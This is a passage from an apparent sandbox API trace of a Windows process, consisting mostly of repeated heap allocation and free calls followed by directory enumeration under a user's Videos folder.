lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.271] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.271] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.272] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.272] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.273] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.273] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc2e) returned 0x3068dd8 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.274] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.274] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.275] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.275] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.276] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.276] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.277] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.277] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x60) returned 0x30f5da8 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8ab8 [0061.278] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8ab8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\") returned="vcVOmt\\" [0061.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\") returned="Videos\\" [0061.278] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0061.278] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0061.278] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5770 | out: hHeap=0x670000) returned 1 [0061.278] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0061.278] PathFindFileNameW (pszPath="") returned="" [0061.278] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\vcVOmt\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0061.279] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30f5da8 | out: hHeap=0x670000) returned 1 [0061.279] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x16d0a240, ftCreationTime.dwHighDateTime=0x1d4ccac, ftLastAccessTime.dwLowDateTime=0x514adce0, ftLastAccessTime.dwHighDateTime=0x1d4cf24, ftLastWriteTime.dwLowDateTime=0x514adce0, ftLastWriteTime.dwHighDateTime=0x1d4cf24, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0061.279] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa7427b70, ftCreationTime.dwHighDateTime=0x1d4cbdd, ftLastAccessTime.dwLowDateTime=0xee2267f0, ftLastAccessTime.dwHighDateTime=0x1d4ca00, ftLastWriteTime.dwLowDateTime=0xee2267f0, 